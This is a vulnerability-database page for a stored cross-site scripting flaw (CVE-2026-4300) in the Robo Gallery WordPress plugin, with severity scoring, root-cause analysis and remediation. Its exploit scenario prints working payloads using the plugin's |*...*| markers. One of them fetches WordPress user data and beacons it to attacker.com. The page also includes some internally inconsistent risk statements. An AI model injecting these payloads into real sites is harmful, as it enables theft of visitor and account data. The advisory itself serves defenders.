Skip to main content

Robo Gallery Photo Image Slider EUVDEUVD-2026-20435

| CVE-2026-4300 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-08 Wordfence GHSA-f324-cf3c-hqgv
6.4
CVSS 3.1 · Vendor: Wordfence
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 6.4 (Medium) with network vector, low complexity, and low privilege requirement (PR:L) reflects a moderately exploitable vulnerability that requires authentication but affects site visitors via stored payload. EPSS data is not provided, but the exploitation probability is high given that (1) the attack requires only Author-level access, a role commonly held by multiple site contributors; (2) the injection mechanism bypasses existing sanitization due to design flaw rather than missing sanitization; and (3) the payload executes server-side at render time with no additional user interaction. The scope change (S:C) indicates cross-site impact affecting users viewing the gallery, not just the attacker. Against SSVC criteria: exploitation is straightforward (fixable by attacker-controlled post_meta), automatable (no manual steps required once gallery is created), and technical impact is high (account takeover, data theft, malware injection possible through stored XSS). However, real-world risk is gated by the requirement for Author or higher role-in single-author or tightly-controlled WordPress instances, risk is lower; in multi-author or plugin-enabled community sites, risk is substantially higher. This is a legitimate priority for sites with multiple content contributors.

Exploit ScenarioDerived

An attacker with Author-level credentials on a WordPress site (or a compromised Author account) navigates to a Robo Gallery gallery's edit screen, locates the Loading Label field, and enters |*alert('XSS')*|. The payload passes sanitization, is stored in post_meta, and when the gallery is displayed via shortcode on the site frontend, the fixJsFunction() method strips the markers and the JavaScript alert('XSS') executes in every visitor's browser. A more realistic attack would inject |*fetch('/wp-json/wp/v2/users').then(r=>r.json()).then(d=>navigator.sendBeacon('attacker.com',JSON.stringify(d)))*| to steal WordPress user data. Because the vulnerability is stored, the payload persists and executes for all site visitors indefinitely until removed by an administrator.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

Stored cross-site scripting in Robo Gallery for WordPress up to version 5.1.3 allows authenticated Author-level users to inject arbitrary JavaScript via the Loading Label gallery setting. The vulnerability exploits a custom marker pattern (|*...*|) in the fixJsFunction() method that converts JSON-wrapped strings into raw JavaScript code; input validation with sanitize_text_field() fails to strip the markers, enabling script injection that executes whenever the gallery shortcode is rendered. No public exploit code or active exploitation has been confirmed at time of analysis.

RemediationAI

Upgrade Robo Gallery to a patched version released after 5.1.3 when available. In the interim, disable gallery creation permissions for untrusted Author-level users, restricting creation to Editors or Administrators only, or deactivate the plugin if not actively used. Site administrators should review all existing galleries for suspicious Loading Label values containing unusual markers or JavaScript keywords (alert, eval, fetch, XMLHttpRequest, etc.) via the post_meta table or gallery edit interface. The plugin developer should update sanitize_text_field() to explicitly strip the |* and *| markers before storage, or redesign the configuration encoding to use a safer abstraction (e.g., boolean flags or enum values instead of marker-based string transformation). Refer to the Wordfence threat intelligence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/d8693b7d-693f-450a-89ef-e936a8813ca9?source=cve for additional context and monitoring recommendations.

Affected VersionsENISA

Robo Gallery – Photo & Image Slider 0 ≤5.1.3

Affected Packages

euvd robo_gallery_photo_image_slider no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Robo Gallery plugin uses a non-standard approach to embed JavaScript function references within JSON configuration objects. The fixJsFunction() method in jsoptions.php processes gallery options by searching for the |*...*| marker pattern and stripping the surrounding quote and marker characters, converting what PHP's json_encode() wrapped as a string value into executable JavaScript. The Loading Label field (rbs_gallery_LoadingWord post_meta) is an rbstext field type sanitized via WordPress's sanitize_text_field() function on save. While this removes HTML tags, it does not filter the pipe, asterisk, or other characters in the |*...*| pattern since they are not HTML. When the gallery renders via renderMainBlock() in layout.v1.php and grid.v1.php, configuration data is embedded in an inline <script> tag with the markers stripped-causing any payload within the markers to execute as JavaScript. The root cause is improper output encoding combined with a secondary input validation bypass; the markers were intended as a safe abstraction but lack adequate sanitization. This falls under CWE-79 (Cross-site Scripting) because user-controlled input reaches the browser without proper escaping.

Know when Robo Gallery Photo Image Slider gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Robo Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Loading Label' setting in all versions up to, and including, 5.1.3. The plugin uses a custom |*...*| marker pattern in its fixJsFunction() method to embed raw JavaScript function references within JSON-encoded configuration objects. When a gallery's options are rendered on the frontend, json_encode() wraps all string values in double quotes. The fixJsFunction() method then strips the "|* and *|" sequences, effectively converting a JSON string value into raw JavaScript code. The Loading Label field (stored as rbs_gallery_LoadingWord post_meta) is an rbstext type field that is sanitized with sanitize_text_field() on save. While this strips HTML tags, it does not strip the |*...*| markers since they contain no HTML. When a user inputs |*alert(document.domain)*|, the value passes through sanitization intact, is stored in post_meta, and is later retrieved and output within an inline <script> tag via renderMainBlock() with the quote markers stripped - resulting in arbitrary JavaScript execution. The gallery post type uses capability_type => 'post', allowing Author-level users to create galleries. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the gallery shortcode.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-4300 REF https://plugins.trac.wordpress.org/browser/robo-gallery/tags/5.1.3/includes/frontend/modules/base-grid/grid/grid.v1.php#L89 REF https://plugins.trac.wordpress.org/browser/robo-gallery/tags/5.1.3/includes/frontend/modules/base-grid/layout.v1.php#L101 REF https://plugins.trac.wordpress.org/browser/robo-gallery/tags/5.1.3/includes/frontend/modules/base-grid/layout.v1.php#L52 REF https://plugins.trac.wordpress.org/browser/robo-gallery/tags/5.1.3/includes/frontend/modules/class/jsoptions.php#L87 REF https://plugins.trac.wordpress.org/browser/robo-gallery/tags/5.1.3/includes/frontend/modules/class/jsoptions.php#L97 REF https://plugins.trac.wordpress.org/browser/robo-gallery/tags/5.1.3/includes/options/rbs_gallery_options_loading.php#L95 REF https://plugins.trac.wordpress.org/browser/robo-gallery/trunk/includes/frontend/modules/base-grid/grid/grid.v1.php#L89 REF https://plugins.trac.wordpress.org/browser/robo-gallery/trunk/includes/frontend/modules/base-grid/layout.v1.php#L101 REF https://plugins.trac.wordpress.org/browser/robo-gallery/trunk/includes/frontend/modules/base-grid/layout.v1.php#L52 REF https://plugins.trac.wordpress.org/browser/robo-gallery/trunk/includes/frontend/modules/class/jsoptions.php#L87 REF https://plugins.trac.wordpress.org/browser/robo-gallery/trunk/includes/frontend/modules/class/jsoptions.php#L97 REF https://plugins.trac.wordpress.org/browser/robo-gallery/trunk/includes/options/rbs_gallery_options_loading.php#L95 REF https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3488182%40robo-gallery&new=3488182%40robo-gallery&sfp_email=&sfph_mail= REF https://www.wordfence.com/threat-intel/vulnerabilities/id/d8693b7d-693f-450a-89ef-e936a8813ca9?source=cve

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy